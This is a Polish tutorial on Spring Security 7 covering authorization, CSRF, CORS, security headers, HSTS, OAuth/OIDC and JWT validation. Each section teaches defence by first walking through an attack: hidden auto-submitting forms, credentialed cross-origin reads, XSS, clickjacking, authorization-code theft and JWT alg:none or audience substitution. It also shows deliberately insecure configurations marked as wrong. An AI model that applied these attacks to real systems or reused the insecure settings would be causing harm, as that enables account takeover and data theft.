RoleHierarchy mówi, które role zawierają inne. ROLE_ADMIN > ROLE_STAFF czytasz jako „ADMIN zawiera STAFF”. Użytkownik z ROLE_ADMIN zachowuje się wtedy tak, jakby miał wszystkie role poniżej.
AuthorityAuthorizationManager porównuje wymagane authority z osiągalnymi. Użytkownicy i uprawnienia są poglądowe.Konfiguracja w Spring Security 7
@Bean
static RoleHierarchy roleHierarchy() {
return RoleHierarchyImpl.withDefaultRolePrefix()
.role("ADMIN").implies("STAFF")
.role("STAFF").implies("USER")
.build();
// albo: RoleHierarchyImpl.fromHierarchy("ROLE_ADMIN > ROLE_STAFF\nROLE_STAFF > ROLE_USER")
}
// jeśli używasz @PreAuthorize itp., podaj hierarchię także do handlera wyrażeń
@Bean
static MethodSecurityExpressionHandler methodSecurityExpressionHandler(RoleHierarchy roleHierarchy) {
DefaultMethodSecurityExpressionHandler handler = new DefaultMethodSecurityExpressionHandler();
handler.setRoleHierarchy(roleHierarchy);
return handler;
}
http.authorizeHttpRequests((authorize) -> authorize
.requestMatchers("/admin/**").hasRole("ADMIN") // szuka ROLE_ADMIN
.requestMatchers("/db/**").hasAllAuthorities("db", "ROLE_ADMIN")
.anyRequest().authenticated()
);
- Rozdziel role (kim jest człowiek:
ROLE_STAFF) od uprawnień (co może zrobić:orders:write). W regułach sprawdzaj uprawnienia, a role mapuj na nie w jednym miejscu. - Hierarchię ról trzymaj w jednym beanie z testem jednostkowym typu „USER nie osiąga ADMIN”.
- Do audytu włącz
AuthorizationEventPublisher(np.SpringAuthorizationEventPublisher).AuthorizationDeniedEventjest publikowany przy każdej odmowie, a zdarzenia „granted” możesz włączyć osobno.
🔬 Głębiej: AuthorizationManager i AuthorizationFilter od środka
Pod spodem wszystkie decyzje podejmuje AuthorizationManager. W 7.0 usunięto AuthorizationManager#check. Zostały authorize(Supplier<? extends Authentication>, T), które zwraca AuthorizationResult (np. AuthorizationDecision), oraz domyślne verify, które przy odmowie rzuca AccessDeniedException. null oznacza wstrzymanie się od decyzji.
Dla żądań HTTP AuthorizationFilter bierze Supplier<? extends Authentication> z SecurityContextHolder i oddaje go do RequestMatcherDelegatingAuthorizationManager, który wybiera delegata dla pasującej reguły. Przy permitAll/denyAll obiekt Authentication nie jest w ogóle pobierany. Przy odmowie leci AuthorizationDeniedEvent i AccessDeniedException, który obsługuje ExceptionTranslationFilter.
Od 7.0 jest też AuthorizationManagerFactory. Domyślna DefaultAuthorizationManagerFactory pozwala ustawić prefiks ról, RoleHierarchy i AuthenticationTrustResolver dla wszystkich managerów tworzonych przez fabrykę naraz. Własny manager podpinasz przez .access(…), np. odpytując Open Policy Agent.
final class SuspendedAccountManager implements AuthorizationManager<RequestAuthorizationContext> {
@Override
public AuthorizationResult authorize(Supplier<? extends Authentication> auth, RequestAuthorizationContext ctx) {
boolean suspended = accounts.isSuspended(auth.get().getName());
return new AuthorizationDecision(!suspended);
}
}
// .requestMatchers("/orders/**").access(new SuspendedAccountManager())
hasRole("X")=hasAuthority("ROLE_X").hasAuthority("X")szuka dokładnieX.- Nie pisz
hasRole("ROLE_X"), bo dostaniesz wyjątek. A > Bw hierarchii znaczy „A zawiera B”. Odwrócenie strzałki to eskalacja uprawnień.- Scope z JWT trafia do authorities jako
SCOPE_….
Ataki przez przeglądarkę
Do tej pory pilnowałeś drzwi: kto wchodzi i co mu wolno. Teraz atakujący nie łamie twojego hasła — on namawia przeglądarkę twojego użytkownika, żeby zrobiła coś za niego. Przeglądarka jest posłuszna: dokleja ciasteczka, renderuje ramki, wykonuje skrypty. Ta część pokazuje, jak Spring Security i kilka nagłówków odbierają jej tę naiwność.
CSRF — cudze żądanie z twoim ciasteczkiem
przeglądarka dokleja ciasteczko każdemu — nawet złodziejowiZagrożenie. Jesteś zalogowany w banku (bank.example), sesja siedzi w ciasteczku JSESSIONID. W drugiej karcie otwierasz „śmieszne koty” na evil.example. Ta strona nie zna twojego hasła i nie widzi twojego ciasteczka — ale nie musi. Wystarczy, że każe twojej przeglądarce wysłać żądanie do banku. Przeglądarka sama dołoży ciasteczko sesji.
To jest CSRF (Cross-Site Request Forgery, fałszowanie żądań między witrynami): atakujący nie kradnie sesji, tylko pożycza ją na jedno żądanie, które zmienia stan — przelew, zmiana e-maila, usunięcie konta.
- Atakujący stawia na
evil.examplestronę z ukrytym formularzem:<form action="https://bank.example/transfer" method="POST">z polamito=ATAKUJĄCY,amount=1000. - Jedna linijka JavaScriptu wysyła formularz zaraz po załadowaniu strony — ofiara niczego nie klika.
- Przeglądarka wysyła
POST /transferdo banku i dokleja ciasteczkoJSESSIONID, bo to ciasteczko banku. - Bank widzi ważną sesję, poprawne pola i robi przelew. Atakujący nawet nie musi czytać odpowiedzi — szkoda już się stała.
Jak działa ochrona. Sesja w ciasteczku jest automatyczna, więc sama niczego nie dowodzi. Potrzebujesz czegoś, co ma tylko twoja własna strona. Spring Security stosuje wzorzec synchronizer token: serwer wydaje losowy token CSRF, twoja strona wkłada go do każdego formularza (pole _csrf) albo nagłówka, a CsrfFilter porównuje go z tokenem zapamiętanym po stronie serwera. Strona evil.example nie umie tego tokenu odczytać — przeglądarka nie pozwala jej czytać stron banku — więc nie umie go podrobić.
Druga, uzupełniająca warstwa to atrybut ciasteczka SameSite. SameSite=Lax mówi przeglądarce: „nie doklejaj tego ciasteczka do żądań z obcych witryn, chyba że to zwykłe przejście linkiem metodą bezpieczną (GET)”. Strict nie dokleja go do żadnych żądań z obcych witryn — nawet do kliknięcia w link, co bywa niewygodne dla użytkownika.
(ukryty formularz czeka…)
————csrf.disable() i ciasteczkiem bez SameSite.Zauważ wariant z linkiem GET: token CSRF go nie zatrzymuje, bo Spring Security sprawdza token tylko dla metod „niebezpiecznych” (np. POST). GET, HEAD, OPTIONS i TRACE mają być tylko do odczytu — to twój obowiązek, nie frameworka. Endpoint, który robi przelew na GET, jest dziurawy niezależnie od konfiguracji.
Konfiguracja w Spring Security 7. Dobra wiadomość: ochrona CSRF jest włączona domyślnie dla metod niebezpiecznych. Jeśli renderujesz formularze Thymeleafem albo tagami formularzy Springa, token trafia do <form method="post"> automatycznie.
@Bean
SecurityFilterChain web(HttpSecurity http) throws Exception {
http
.authorizeHttpRequests((auth) -> auth.anyRequest().authenticated())
.formLogin(withDefaults());
// CSRF: nic nie piszesz — jest włączone, token w sesji
// (HttpSessionCsrfTokenRepository) i maskowany przeciw BREACH
return http.build();
}
Aplikacja SPA (React, Angular) czyta token z ciasteczka XSRF-TOKEN i odsyła go w nagłówku X-XSRF-TOKEN. Ręczne złożenie tego było kiedyś pułapką; od 7.0 jest jedna linijka:
http.csrf((csrf) -> csrf.spa());
// ❌ „REST API, więc bez CSRF” — a logowanie jest przez ciasteczko sesji
http
.csrf((csrf) -> csrf.disable())
.formLogin(withDefaults());
BREACH i maskowanie tokenu. Domyślny XorCsrfTokenRequestAttributeHandler koduje w tokenie losowość, więc wartość wysyłana do strony zmienia się przy każdym żądaniu — to chroni przed atakiem BREACH (odzyskiwaniem sekretu ze skompresowanych odpowiedzi HTTPS). CsrfTokenRequestAttributeHandler to wariant „bez maskowania” — wybierasz go tylko świadomie.
Odroczony token. Token jest ładowany leniwie — dopiero gdy żądanie wymaga ochrony CSRF — żeby nie dotykać sesji przy każdym żądaniu.
Gdzie trzymać token. Domyślnie HttpSessionCsrfTokenRepository (sesja). CookieCsrfTokenRepository zapisuje go w ciasteczku XSRF-TOKEN i czyta z nagłówka X-XSRF-TOKEN lub parametru _csrf. Jeśli JS nie musi czytać ciasteczka, dokumentacja zaleca new CookieCsrfTokenRepository() (z HttpOnly) zamiast withHttpOnlyFalse().
Odrzucenie. Brak lub zły token kończy się AccessDeniedException (np. InvalidCsrfTokenException) przekazanym do AccessDeniedHandler — domyślnie 403.
- Wyłączenie CSRF jest OK tylko wtedy, gdy przeglądarka nic nie dokleja sama: backend obsługuje wyłącznie klientów nie-przeglądarkowych albo uwierzytelnienie idzie nagłówkiem
Authorization: Bearer …wstawianym przez kod. Ciasteczko z JWT, HTTP Basic — to wciąż CSRF-podatne. - Logowanie i wylogowanie też chroń. Sfałszowane logowanie wpina ofiarę na konto atakującego; przy włączonym CSRF
LogoutFilterprzetwarza tylkoPOST. - SameSite to obrona w głąb, nie zamiennik tokenu: działa w obrębie domeny rejestrowanej (subdomeny to „same-site”), a
Laxprzepuszcza GET-y z nawigacji. - Testy:
mockMvc.perform(post("/transfer").with(csrf()))— test bezcsrf()powinien dostać 403.
JSESSIONID, a HTTP Basic przeglądarka też wysyła sama. Bezstanowość nie ma tu znaczenia.- CSRF = obca strona wysyła żądanie, przeglądarka dokleja twoje ciasteczko.
- Spring Security: CSRF włączone domyślnie dla metod niebezpiecznych, token w sesji, maskowany (BREACH).
- GET/HEAD/OPTIONS/TRACE nie mogą zmieniać stanu — inaczej ani token, ani SameSite=Lax nie pomogą.
- SPA:
csrf.spa()(7.0). Wyłączaj CSRF tylko dla API bez ciasteczek.
CORS — kto może czytać twoje odpowiedzi
CORS nie broni. CORS uchyla drzwi, które SOP trzyma zamknięteZagrożenie. Przeglądarka ma wbudowaną zasadę Same-Origin Policy (SOP): skrypt ze strony https://evil.example może wysłać żądanie do https://api.bank.example, ale nie może przeczytać odpowiedzi. „Origin” to trójka schemat + host + port. SOP to twoja domyślna tarcza.
CORS (Cross-Origin Resource Sharing) to sposób, w jaki serwer poluzowuje SOP: nagłówek Access-Control-Allow-Origin mówi przeglądarce „temu originowi wolno czytać moje odpowiedzi”. Atakujący marzy o tym, żebyś poluzował za bardzo — wtedy jego JavaScript przeczyta dane zalogowanej ofiary.
- Deweloper, zmęczony błędami CORS na froncie, konfiguruje serwer tak, by odbijał każdy nagłówek
OriginwAccess-Control-Allow-Origini dodawałAccess-Control-Allow-Credentials: true. - Ofiara, zalogowana w banku, odwiedza
evil.example. - Skrypt wykonuje
fetch('https://api.bank.example/me', {credentials: 'include'})— jeśli ciasteczko sesji maSameSite=None; Secure, przeglądarka je dokleja. - Serwer odpowiada JSON-em z danymi i nagłówkiem
Access-Control-Allow-Origin: https://evil.example. Przeglądarka uznaje: „serwer pozwolił” i oddaje odpowiedź skryptowi. Dane lecą do atakującego.
Jak działa ochrona. Decyzję „czy JS może przeczytać odpowiedź” podejmuje przeglądarka na podstawie nagłówków z serwera. Twoim zadaniem jest wysłać te nagłówki tylko zaufanym originom — z jawnej listy. Jedna ważna reguła przeglądarki: jeśli zezwalasz na poświadczenia (Access-Control-Allow-Credentials: true), odpowiedź z Access-Control-Allow-Origin: * zostanie odrzucona. Dlatego leniwi „naprawiają” to odbijaniem originu — i otwierają dziurę.
Drugi mechanizm to preflight: przed „nietypowym” żądaniem (np. PUT z Content-Type: application/json) przeglądarka pyta najpierw OPTIONS, czy wolno. Preflight nie niesie ciasteczek. Jeśli Spring Security sprawdza uwierzytelnienie przed obsługą CORS, uzna preflight za anonimowy i go odrzuci — a przeglądarka nigdy nie wyśle właściwego żądania.
—
/me, dane poglądowe. Kluczowa obserwacja: w każdym wariancie żądanie z evil.example dociera do serwera — CORS decyduje tylko o tym, czy skrypt zobaczy odpowiedź.Konfiguracja w Spring Security 7. Dostarcz bean CorsConfigurationSource o nazwie corsConfigurationSource (np. UrlBasedCorsConfigurationSource) i włącz http.cors(…) — wtedy CorsFilter obsłuży CORS przed Spring Security, także preflight. Jeśli używasz CORS ze Spring MVC i nie podasz źródła, cors(withDefaults()) weźmie konfigurację MVC.
@Bean
UrlBasedCorsConfigurationSource corsConfigurationSource() {
CorsConfiguration cfg = new CorsConfiguration();
cfg.setAllowedOrigins(List.of("https://app.bank.example")); // jawna lista
cfg.setAllowedMethods(List.of("GET", "POST", "PUT"));
cfg.setAllowedHeaders(List.of("Content-Type", "X-XSRF-TOKEN")); // bez tego preflight PUT z JSON odpada
cfg.setAllowCredentials(true);
UrlBasedCorsConfigurationSource source = new UrlBasedCorsConfigurationSource();
source.registerCorsConfiguration("/api/**", cfg);
return source;
}
@Bean
SecurityFilterChain api(HttpSecurity http) throws Exception {
http
.cors(withDefaults()) // użyje beana powyżej
.authorizeHttpRequests((auth) -> auth.anyRequest().authenticated());
return http.build();
}
// ❌ „naprawa” CORS, która oddaje dane każdemu
cfg.setAllowedOriginPatterns(List.of("*"));
cfg.setAllowCredentials(true);
- Lista originów z konfiguracji środowiska, nie z nagłówka żądania. Regex „wszystkie subdomeny” to ryzyko: przejęta subdomena = pełny dostęp.
- Kilka łańcuchów filtrów z różnymi regułami CORS albo bean o innej nazwie?
cors(withDefaults())szuka beana po nazwiecorsConfigurationSource, więc w takim łańcuchu podaj źródło jawnie:.cors((cors) -> cors.configurationSource(apiSource())). - CORS to nie autoryzacja ani ochrona CSRF:
curli serwery w ogóle nie patrzą na te nagłówki.
Usuwasz z serwera wszystkie nagłówki CORS. Czy evil.example nadal może wysłać POST formularza do twojego banku?
Odpowiedź
Tak. SOP blokuje czytanie odpowiedzi, nie wysyłanie zwykłych formularzy. Właśnie dlatego potrzebujesz tokenu CSRF z poprzedniego rozdziału — CORS go nie zastąpi.
- SOP domyślnie nie pozwala obcym skryptom czytać twoich odpowiedzi; CORS to rozluźnia.
- Credentials +
*przeglądarka odrzuca; odbijanieOriginto najgorsze „obejście”. - Preflight nie ma ciasteczek —
http.cors(…)musi go obsłużyć przed uwierzytelnieniem. - Jawna lista originów w
CorsConfigurationSource.
Nagłówki bezpieczeństwa — instrukcje dla przeglądarki
kilka linijek w odpowiedzi, a przeglądarka staje się ochroniarzemZagrożenie. Dwa klasyki. Clickjacking: atakujący osadza twoją stronę w niewidzialnej ramce (iframe) nad własnym przyciskiem „Odbierz nagrodę”. Ofiara klika nagrodę, a naprawdę klika „Usuń konto” w twojej aplikacji — z własną sesją. XSS (Cross-Site Scripting): atakujący przemyca skrypt do treści, którą twoja strona wyświetla (np. komentarz), i ten skrypt działa z uprawnieniami twojej strony.
- Clickjacking: na
evil.exampleumieszcza<iframe src="https://bank.example/settings">zopacity:0, dokładnie nad przyciskiem‑wabikiem. - Ofiara (zalogowana) klika wabik — kliknięcie trafia w ramkę, czyli w prawdziwy przycisk banku.
- XSS: atakujący zapisuje komentarz z treścią
<script>…</script>. Strona wyświetla go bez kodowania. - Każdy, kto otworzy stronę, wykonuje skrypt atakującego: odczyt danych z DOM, żądania w imieniu ofiary, wysyłka do
evil.example.
Jak działa ochrona. Nagłówki bezpieczeństwa to polecenia dla przeglądarki dołączane do każdej odpowiedzi. Spring Security dodaje domyślnie taki zestaw:
Cache-Control: no-cache, no-store, max-age=0, must-revalidate
Pragma: no-cache
Expires: 0
X-Content-Type-Options: nosniff
Strict-Transport-Security: max-age=31536000 ; includeSubDomains ← tylko w odpowiedziach HTTPS
X-Frame-Options: DENY
X-XSS-Protection: 0
X-Frame-Options: DENY zabrania renderowania strony w ramce — clickjacking traci podłoże. Nowocześniejszy odpowiednik to dyrektywa CSP frame-ancestors. X-XSS-Protection: 0 wygląda dziwnie, ale to celowe: wbudowany w przeglądarki filtr XSS jest przestarzały, a OWASP zaleca jawne wyłączenie go. Prawdziwą obroną przed XSS jest kodowanie wyjścia, a w drugiej linii Content-Security-Policy — której Spring nie dodaje sam, bo rozsądna polityka zależy od twojej aplikacji.
🎉 Wygrałeś telefon!
X-Frame-Options: DENYframeOptions((f) -> f.disable()) i nie dodał CSP.script-src 'self' blokuje skrypty inline).Konfiguracja w Spring Security 7. Domyślne nagłówki dostajesz za darmo. Konfigurujesz tylko odstępstwa i dodatki:
http
.headers((headers) -> headers
.frameOptions((frame) -> frame.sameOrigin()) // gdy sam osadzasz swoje strony
.contentSecurityPolicy((csp) -> csp
.policyDirectives("script-src 'self'; object-src 'none'; frame-ancestors 'self'")) // spójne z sameOrigin()
.referrerPolicy((ref) -> ref.policy(ReferrerPolicy.SAME_ORIGIN))
.permissionsPolicyHeader((perm) -> perm.policy("geolocation=(self)"))
);
Referrer-Policy i Permissions-Policy też nie są domyślne — Spring daje DSL, ale wartości musisz wybrać sam.
CSP najpierw w trybie raportowania. Content-Security-Policy-Report-Only tylko zgłasza naruszenia, nic nie blokuje — wdrażasz go, zbierasz raporty, a gdy polityka jest dopracowana, przechodzisz na wymuszający Content-Security-Policy. Skrypty inline, które naprawdę są potrzebne, dopuszczasz przez nonce generowany na każdą odpowiedź.
Pełna kontrola. headers.defaultsDisabled() wyłącza zestaw domyślny; potem dodajesz tylko to, co jawnie wymienisz.
- Nie wyłączaj nagłówków „bo psują iframe w panelu” — użyj
sameOrigin()alboframe-ancestorsz listą zaufanych domen. - CSP to obrona w głąb: nie naprawia brakującego kodowania wyjścia, ale ogranicza skutki, gdy coś przecieknie.
- Sprawdzaj nagłówki na produkcji (za proxy/CDN), nie tylko lokalnie — po drodze ktoś może je zdjąć lub zdublować.
- Domyślnie: Cache-Control/Pragma/Expires,
nosniff, HSTS (tylko HTTPS),X-Frame-Options: DENY,X-XSS-Protection: 0. - Nie domyślne: CSP, Referrer-Policy, Permissions-Policy.
- Clickjacking: DENY /
frame-ancestors. XSS: kodowanie wyjścia + CSP.
HTTPS, HSTS i proxy
pierwsze żądanie po http:// to furtka — HSTS ją zamykaZagrożenie. Masz HTTPS i przekierowanie z http://. Ale użytkownik wpisuje w kawiarni po prostu bank.example. Pierwsze żądanie idzie otwartym tekstem — a w tej sieci siedzi atakujący (man-in-the-middle). Spring Security nie obsługuje samych połączeń TLS — to robi serwer albo proxy — ale daje narzędzia, które pomagają.
- Ofiara wpisuje
bank.example; przeglądarka wysyłaGET http://bank.example/. - Atakujący w sieci przechwytuje żądanie i sam rozmawia z bankiem po HTTPS (SSL stripping).
- Ofierze odsyła stronę po zwykłym HTTP — przekierowanie na
https://„ginie” po drodze albo zostaje podmienione (np. na podobnie wyglądającą domenę). - Ofiara loguje się na stronie bez kłódki. Hasło przechodzi przez ręce atakującego.
Jak działa ochrona. HSTS (Strict-Transport-Security) mówi przeglądarce: „przez najbliższy rok rozmawiaj ze mną tylko po HTTPS”. Przeglądarka zapamiętuje to i sama zamienia każde http://bank.example na https://, zanim cokolwiek wyśle. Nie da się też kliknąć „kontynuuj mimo to” przy fałszywym certyfikacie. Spring Security dodaje HSTS domyślnie — ale zgodnie z RFC 6797 tylko do odpowiedzi HTTPS.
Haczyk: zanim przeglądarka zobaczy pierwszą odpowiedź HTTPS, nic nie wie. Pierwsza wizyta (albo wizyta po wygaśnięciu max-age) wciąż jest narażona. Dlatego istnieje lista preload wbudowana w przeglądarki — domena z tej listy jest chroniona od pierwszego żądania.
max-age nie wygasł. Bez HSTS z serwera kolejna wizyta niczym nie różni się od pierwszej.Konfiguracja w Spring Security 7. W 7.x przekierowanie na HTTPS nazywa się redirectToHttps. HSTS jest domyślnie włączone (max-age=31536000 ; includeSubDomains); zmieniasz je tylko, gdy chcesz np. preload:
http
.redirectToHttps(withDefaults()) // http:// → https://
.headers((headers) -> headers
.httpStrictTransportSecurity((hsts) -> hsts
.includeSubDomains(true)
.preload(true) // zgoda na listę preload (sam wpis zgłaszasz na hstspreload.org)
.maxAgeInSeconds(31536000)));
Za proxy. W chmurze TLS zwykle kończy się na load balancerze, a do aplikacji idzie zwykłe HTTP na 192.168.0.107:8080. Bez konfiguracji aplikacja myśli, że żądanie przyszło po HTTP z adresu wewnętrznego — więc nagłówek HSTS się nie pojawi, a przekierowania i linki zwrotne (np. redirect-uri w OAuth) mają zły host. Proxy przekazuje oryginał w nagłówkach Forwarded (RFC 7239) albo X-Forwarded-Proto/Host/For; aplikacja musi umieć je zastosować: Tomcat RemoteIpValve, Jetty ForwardedRequestCustomizer albo ForwardedHeaderFilter. W Spring Boot — właściwość server.forward-headers-strategy.
# application.properties (Spring Boot)
server.forward-headers-strategy=native # albo: framework
Nagłówki Forwarded i X-Forwarded-* może wysłać każdy klient. Proxy na brzegu sieci musi usuwać lub nadpisywać te przychodzące z zewnątrz — oba rodzaje. Jeśli wytniesz tylko Forwarded, a przepuścisz X-Forwarded-*, atakujący „przyjdzie po HTTPS” z innym hostem, kiedy tylko zechce.
- TLS wszędzie, łącznie ze statycznymi zasobami; HSTS z
includeSubDomainsdopiero, gdy wszystkie subdomeny mają HTTPS. preloadto decyzja praktycznie nieodwracalna — wycofanie z listy trwa długo. Wdrażaj stopniowo, zaczynając od krótkiegomax-age.- Jedno miejsce prawdy o schemacie: albo serwer (native), albo
ForwardedHeaderFilter(framework) — i zaufane tylko nagłówki od twojego proxy.
- SSL stripping atakuje pierwsze żądanie po
http://; samo przekierowanie nie wystarcza. - HSTS: domyślnie w Spring Security, tylko w odpowiedziach HTTPS; pierwsza wizyta chroniona dopiero przez preload.
- 7.x:
redirectToHttps(withDefaults()). - Za proxy:
server.forward-headers-strategy/ForwardedHeaderFilter+ czyszczenie nagłówków na brzegu.
Tokeny: OAuth 2.0, OIDC, JWT
Sesja w ciasteczku działa świetnie, dopóki masz jedną aplikację. Potem pojawia się „Zaloguj przez Google”, SPA, aplikacja mobilna i dwadzieścia mikroserwisów, które gadają ze sobą. Wtedy zamiast ciasteczka po sieci krążą tokeny. Token to bilet: kto go ma, ten wchodzi. Ta część pokazuje, jak bilety się kradnie, podrabia i odtwarza — i co w Spring Security 7 stoi temu na drodze.
OAuth 2.0 i OIDC — logowanie przez cudzy serwer
kod autoryzacji to nie bilet, dopóki nie pokażesz weryfikatoraZagrożenie. Twoja aplikacja ma przycisk „Zaloguj przez firmowe SSO”. Użytkownik loguje się u dostawcy tożsamości (IdP), a ten odsyła przeglądarkę z powrotem z jednorazowym kodem autoryzacji w adresie URL. Kod wymienia się na tokeny. Atakujący chce jednego z dwóch: przechwycić ten kod i wymienić go sam (dostaje tokeny ofiary) albo wcisnąć ofierze swój kod, żeby zalogowała się na jego konto i zostawiła tam swoje dane.
Trzy role: klient (twoja aplikacja), serwer autoryzacji (IdP: Keycloak, Entra ID, Okta, Spring Authorization Server) i serwer zasobów (API, które przyjmuje token). OAuth 2.0 mówi, jak klient dostaje access token. OIDC (OpenID Connect) dokłada ID token — informację, kto się zalogował.
- Klient bez PKCE wysyła przeglądarkę na
/authorize?response_type=code&client_id=…&redirect_uri=…. - Po zalogowaniu IdP przekierowuje na
/login/oauth2/code/idp?code=SplxlOBe…. Kod ląduje w historii przeglądarki, w logach proxy, w nagłówkuRefereralbo w złośliwej aplikacji mobilnej, która zarejestrowała ten sam schemat URL. - Atakujący wysyła
POST /tokenzgrant_type=authorization_code&code=SplxlOBe…. Klient publiczny (SPA, mobilka) nie ma sekretu, więc nic więcej nie trzeba — atakujący dostaje tokeny ofiary. - Wariant odwrotny (login CSRF): atakujący loguje się u IdP na swoje konto, zatrzymuje swój kod i podsuwa ofierze link
/login/oauth2/code/idp?code=KOD_ATAKUJĄCEGO. Bezstateklient nie odróżni tej odpowiedzi od prawdziwej.
Jak działa ochrona. PKCE (RFC 7636): zanim klient wyśle przeglądarkę do IdP, losuje tajny code_verifier i wysyła tylko jego skrót (code_challenge). Przy wymianie kodu musi pokazać oryginał. Kto ukradł sam kod, nie ma weryfikatora — serwer autoryzacji odmówi. state to losowa wartość zapisana w sesji klienta i odesłana przez IdP; odpowiedź z obcym albo brakującym state nie pasuje do żadnego zapisanego żądania. W OIDC podobną rolę dla ID tokenu pełni nonce.
state — przełącznik pokazuje klienta pisanego ręcznie. Wartości kodów są skrócone i poglądowe.Zwróć uwagę na niuans: przy wyłączonym state, ale włączonym PKCE, login CSRF i tak się nie udaje. Kod atakującego był wydany dla jego code_challenge, a sesja ofiary trzyma inny weryfikator. RFC 9700 wprost pozwala polegać na PKCE jako ochronie przed CSRF, jeśli masz pewność, że serwer autoryzacji go obsługuje.
Konfiguracja w Spring Security 7. Logowanie OIDC to oauth2Login() plus rejestracja klienta w application.yml. Domyślny adres powrotu to {baseUrl}/login/oauth2/code/{registrationId}.
@Bean
SecurityFilterChain web(HttpSecurity http) throws Exception {
http
.authorizeHttpRequests((auth) -> auth
.requestMatchers("/", "/error").permitAll()
.anyRequest().authenticated())
.oauth2Login(Customizer.withDefaults()); // żądanie autoryzacji czeka w sesji, PKCE domyślnie
return http.build();
}
// application.yml
// spring.security.oauth2.client.registration.okta:
// client-id: web-app
// client-secret: ${OKTA_SECRET} # klient poufny
// authorization-grant-type: authorization_code
// scope: openid,profile
PKCE w Springu: klient publiczny (bez client-secret, metoda none) dostaje PKCE automatycznie. Dla klienta poufnego decyduje ClientRegistration.clientSettings.requireProofKey — dla authorization_code domyślnie true. Jeśli twój IdP nie obsługuje PKCE dla klientów poufnych, dokumentacja każe ustawić requireProofKey na false — to wyjątek, nie wzorzec.
- Grant
passwordnie istnieje. Spring Security 7.0 usunął jego obsługę, a RFC 9700 mówi: „MUST NOT be used”. Jeśli stary system wysyła login i hasło do/token, to jest dług do spłacenia, nie konfiguracja do odtworzenia. - Implicit też odpada. RFC 9700: klienci „SHOULD NOT use the implicit grant” — token w URL wycieka i nie da się go związać z klientem. SPA używa authorization code + PKCE (albo BFF, rozdział o tokenach).
- Rejestruj dokładne
redirect_uriu IdP. Wzorce z gwiazdką otwierają drogę do przekierowania kodu na cudzą domenę.
client_secret, to po co mi PKCE?- Authorization code + PKCE to jedyny przepływ dla użytkownika;
passwordusunięty w 7.0, implicit odradzany. - PKCE: kod bez
code_verifierjest bezwartościowy. state/noncewiążą odpowiedź z żądaniem — bronią przed login CSRF.oauth2Login()trzyma żądanie autoryzacji w sesji (HttpSessionOAuth2AuthorizationRequestRepository) aż do odpowiedzi i domyślnie wysyła PKCE — nie pisz klienta OAuth ręcznie.
Resource server i JWT — sprawdź bilet, zanim wpuścisz
podpis się zgadza? świetnie. A dla kogo był ten bilet?Zagrożenie. Twoje API przyjmuje nagłówek Authorization: Bearer eyJ…. JWT to trzy części base64url rozdzielone kropkami: nagłówek (np. alg, kid), ładunek z roszczeniami (iss, sub, aud, exp, scope) i podpis. Każdy może token zdekodować i przeczytać. Atakujący chce, żeby twoje API uwierzyło w token, którego nie powinno przyjąć.
Klasyki z RFC 8725: atakujący zmienia alg na none, a biblioteka „weryfikuje” token bez sprawdzania podpisu; zmienia RS256 na HS256, a biblioteka używa publicznego klucza RSA jako sekretu HMAC; albo przynosi prawdziwy token wydany dla innej usługi tego samego IdP (atak podstawienia).
- Atakujący ma zwykły token do usługi „raporty” (np. z własnego konta). Dekoduje go w dowolnym narzędziu i widzi
"aud":"reports","scope":"reports:read". - Wysyła ten sam token do twojego
GET /api/orders. Podpis jest prawdziwy,isssię zgadza,expjeszcze nie minął. - Jeśli twoje API nie sprawdza
aud, przyjmuje token. Jeśli reguły patrzą tylko naauthenticated(), atakujący czyta zamówienia. - Wariant z
alg:none: nagłówek{"alg":"none"}, zmieniony ładunek, pusty podpis — działa tylko na bibliotece, która ufa nagłówkowi.
Jak działa ochrona. Gdy podasz issuer-uri, Spring Security dla poprawnie zbudowanego JWT: weryfikuje podpis kluczem pobranym z jwks_uri (i sam obraca klucze), sprawdza exp i nbf (JwtTimestampValidator, z konfigurowalnym clockSkew) oraz iss, a każdy scope zamienia na uprawnienie z prefiksem SCOPE_. Domyślnie NimbusJwtDecoder ufa tylko RS256. Audience nie jest sprawdzane, dopóki go nie skonfigurujesz.
issuer-uri. W prawdziwym Springu alg:none jest odrzucany zawsze; wyłączenie walidatora pokazuje bibliotekę napisaną po swojemu. Czas „teraz” i daty są poglądowe.Konfiguracja w Spring Security 7. Najkrócej: issuer-uri i audiences w Boot.
// application.yml
// spring.security.oauth2.resourceserver.jwt:
// issuer-uri: https://idp.example.com
// audiences: https://orders.example.com # bez tego aud NIE jest sprawdzane
@Bean
SecurityFilterChain api(HttpSecurity http) throws Exception {
http
.authorizeHttpRequests((auth) -> auth
.requestMatchers(HttpMethod.GET, "/api/orders/**").hasAuthority("SCOPE_orders:read")
.anyRequest().authenticated())
.oauth2ResourceServer((oauth2) -> oauth2.jwt(Customizer.withDefaults()));
return http.build();
}
// albo programowo: dorzuć walidator aud do domyślnych
@Bean
JwtDecoder jwtDecoder() {
NimbusJwtDecoder decoder = JwtDecoders.fromIssuerLocation("https://idp.example.com");
OAuth2TokenValidator<Jwt> audience = new JwtClaimValidator<List<String>>(
JwtClaimNames.AUD, (aud) -> aud != null && aud.contains("https://orders.example.com"));
decoder.setJwtValidator(new DelegatingOAuth2TokenValidator<>(
JwtValidators.createDefaultWithIssuer("https://idp.example.com"), audience));
return decoder;
}
Odrzucony token kończy się 401 Unauthorized z nagłówkiem WWW-Authenticate: Bearer … i kodem błędu invalid_token; dla alg:none opis brzmi „Unsupported algorithm of none”. Uwaga przy setJwtValidator: zastępujesz domyślne walidatory, więc zawsze startuj od JwtValidators.createDefaultWithIssuer(…), inaczej po cichu tracisz sprawdzanie exp.
- Jeden IdP wydaje tokeny dla wielu usług? RFC 8725: token MUSI mieć
aud, a odbiorca MUSI go sprawdzić. W praktyce to najczęściej brakujący walidator w firmowych API. - Uprawnienia z innego roszczenia (np.
roles)?JwtGrantedAuthoritiesConverter.setAuthoritiesClaimName(…)isetAuthorityPrefix(…)wJwtAuthenticationConverter— nie parsuj tokenu w kontrolerze. - Pilnuj listy algorytmów (
jws-algorithms) zgodnej z IdP; nie dodawaj HMAC „na wszelki wypadek”.
Token ma poprawny podpis, właściwe iss, nie wygasł, a scope to reports:read. Twoja reguła: /api/orders/** → authenticated(). Wejdzie?
Odpowiedź
Tak — i to jest problem. Bez walidatora aud i bez reguły na scope (hasAuthority("SCOPE_orders:read")) każdy ważny token z tego IdP otwiera twoje API. Potrzebujesz obu zabezpieczeń.
- Domyślnie: podpis (JWK z
jwks_uri), tylkoRS256,exp/nbf,iss(gdy jestissuer-uri). aud— dopiero poaudiencesalbo własnymJwtClaimValidator.- Scope →
SCOPE_…; reguły pisz na scope, nie tylkoauthenticated(). - Własny walidator dokładaj do domyślnych, nie zamiast nich.
